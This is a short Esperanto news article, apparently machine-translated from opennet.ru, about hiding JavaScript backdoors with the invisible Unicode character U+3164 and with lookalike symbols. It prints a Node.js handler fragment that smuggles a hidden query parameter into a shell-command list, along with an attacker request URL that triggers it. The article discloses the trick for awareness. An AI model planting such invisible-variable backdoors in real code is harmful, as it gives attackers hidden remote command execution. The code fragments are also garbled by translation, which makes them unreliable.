Sekvante la Trojan Fontan atakmetodon, kiu baziĝas sur la uzo de Unikodaj signoj, kiuj ŝanĝas la montran ordon de dudirekta teksto, estis publikigita alia tekniko por enkonduki kaŝitajn agojn, aplikebla al JavaScript-kodo. La nova metodo baziĝas sur la uzo de la unikoda signo "ㅤ" (kodo 0x3164, "HANGUL FILLER"), kiu apartenas al la kategorio de literoj, sed ne havas videblan enhavon. La Unikoda kategorio al kiu ĉi tiu signo apartenas estas permesita ekde la ECMAScript 2015-specifo por uzo en JavaScript-variablonomoj, ebligante krei nevideblajn variablojn aŭ novajn variablojn, kiuj estas nedistingeblaj de aliaj variabloj en popularaj kodredaktiloj kiel Notepad++ kaj VS Code.
Ekzemple, la kodo por la platformo Node.js estas donita, en kiu, uzante variablon konsistantan el ununura signo "ㅤ", kaŝiĝas malantaŭa pordo, kiu permesas ekzekuti la kodon specifitan de la atakanto: app.get('/ network_health', async (req, res) => { const { timeout,ㅤ} = req.query // fakte diras “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // la komo estas sekvata de la signo \u3164 ];
Unuavide, nur la tempofinvaloro estas trapasita tra la ekstera parametro, kaj la tabelo kun la plenumotaj komandoj enhavas sendanĝeran fiksitan liston. Sed fakte, post la tempodaŭro variablo, la valoro de alia nevidebla variablo kun la signokodo \u3164 estas atribuita, kiu ankaŭ estas anstataŭigita en la tabelo de plenumeblaj komandoj. Tiel, se tia dezajno disponeblas, atakanto povas sendi peton kiel "https://host:8080/network_health?%E3%85%A4=command" por aktivigi la malantaŭan pordon kaj ekzekuti sian kodon.
Alia ekzemplo estas la signo "ǃ" (ALVEOLARKKO), kiu povas esti uzata por doni la aspekton de indikado de ekkrio. Ekzemple, la esprimo "se (medio=ENV_PROD){" kiam ekzekutita en Node.js 14 ĉiam estos vera, ĉar ĝi ne kontrolas diferencon, sed asignas la valoron de ENV_PROD al la variablo "medio". Aliaj misgvidaj unikodaj signoj inkludas "/", "−", "+", "⩵", "❨", "⫽", "꓿" kaj "∗".
fonto: opennet.ru
